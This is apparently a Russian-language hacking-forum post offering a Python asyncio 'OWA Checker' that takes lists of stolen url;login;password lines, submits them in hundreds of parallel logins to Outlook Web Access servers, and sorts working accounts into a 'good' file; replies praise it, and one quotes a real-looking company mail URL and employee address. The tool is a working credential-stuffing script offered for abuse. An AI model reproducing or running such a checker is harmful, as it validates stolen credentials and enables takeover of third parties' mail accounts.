OWA Checker

[nightly]

- Убрал прокси
- Убрал некоторые проверки

Добавить это максимум минут 20, защита от индусов) Cпокойно работает и в 500 потоков, тестанул на 10к доступов - проблем не обнаружил. Собственно делалось это чисто интереса ради, тестил на мусоре. Если есть желание выкатить в паблик любой другой чекер - кидайте мусорные доступы, в свободное время сделаю

Принимает лог:
url;login;pass

import asyncio
from aiohttp import ClientSession
from typing import AsyncGenerator
from aiofiles import open as aopen
from bs4 import BeautifulSoup
from json import dumps


class OWACheck:
    def __init__(self, threads: int = 100) -> None:
        self.threads: int = threads
        self.iter = self.__lazy_read()

        self.locked: bool = False
        self.locked2: bool = False

        self.stat: dict = {
            'good': 0,
            'bad': 0,
            'recheck': 0
        }

    async def save_res(self, where: str, what: str) -> None:
        async with aopen(f'{where}.txt', 'a', encoding='utf-8') as rez:
            await rez.write(f'{what}\n')

    async def __lazy_read(self) -> AsyncGenerator[str, None]:
        async with aopen('123.txt', 'r', encoding='utf-8') as lines:
            async for line in lines:
                yield line.strip()

    async def __get_line(self) -> str:
        while self.locked:
            await asyncio.sleep(0.01)

        try:
            self.locked = True
            return await self.iter.__anext__()
        except Exception as e:
            print(e)
            return None
        finally:
            self.locked = False

    def __parse_fields_data(self, page_html: str) -> dict:
        data = {}

        soup = BeautifulSoup(page_html, 'html.parser')
        form = soup.find("form", {"name": "logonForm"})

        if not form:
            return data

        for field in form.find_all('input', {'type': 'hidden'}):
            data[field.get('name', '')] = field.get('value', '')

        return data


    def __check_resp(self, headers: dict) -> bool:
        if 'auth/logon.aspx' in headers.get('Location', ''):
            return False
        if not str(headers.get('Location', '')).endswith('/owa'):
            return False
        if 'cadata' not in headers.get('Set-Cookie', ''):
            return False

        return True

    async def __update_stat(self, what: str, data: str) -> None:
        while self.locked2:
            await asyncio.sleep(0.01)

        try:
            self.locked2 = True
            self.stat[what] += 1

            await self.save_res(what, data)
        except Exception as e:
            print('[!?] Error when update stat:', e)
        finally:
            self.locked2 = False
            print('\033c'+dumps(self.stat, indent=4))

    async def thread(self) -> None:
        while True:
            line = await self.__get_line()
           
            if not line:
                break

            url, login, password = line.split(';', 2)
            data = {
                "username": login,
                "password": password
            }
            defargs = {
                'verify_ssl': False,
                'allow_redirects': False,
                'timeout': 20
            }

            try:
                url, *shit = url.split('/owa/')
            except Exception as e:
                print('[!?] Something new:', url, '; err:', e)
                return

            async with ClientSession(base_url=url) as ses:
                try:
                    async with ses.get('/owa/auth/logon.aspx', **defargs) as r:
                        if r.status != 200:
                            await self.__update_stat('recheck', line)
                            return

                        data.update(self.__parse_fields_data(await r.text()))

                    async with ses.post('/owa/auth.owa', data=data, **defargs) as r:
                        if r.status != 302:
                            await self.__update_stat('recheck', line)
                            return

                        if self.__check_resp(r.headers):
                            await self.__update_stat('good', line)
                        else:
                            await self.__update_stat('bad', line)
                except Exception:
                    await self.__update_stat('recheck', line)
                finally:
                    await ses.close()

    async def run_threads(self) -> None:
        threads = []

        for i in range(self.threads):
            threads.append(asyncio.ensure_future(self.thread()))

        await asyncio.gather(*threads)


async def main() -> None:
    checker = OWACheck()
    await checker.run_threads()


if __name__ == '__main__':
    asyncio.run(main())

 

[GFX_Mafia05]

GOOD

 

[Lupin]

Подскажи в чем соль? строка вида https://mail.aci-bd.com/owa/auth/logon.aspx;ashikur.qa@aci-bd.com;Pass ответ всегда один на оч большом кол ве проверял строк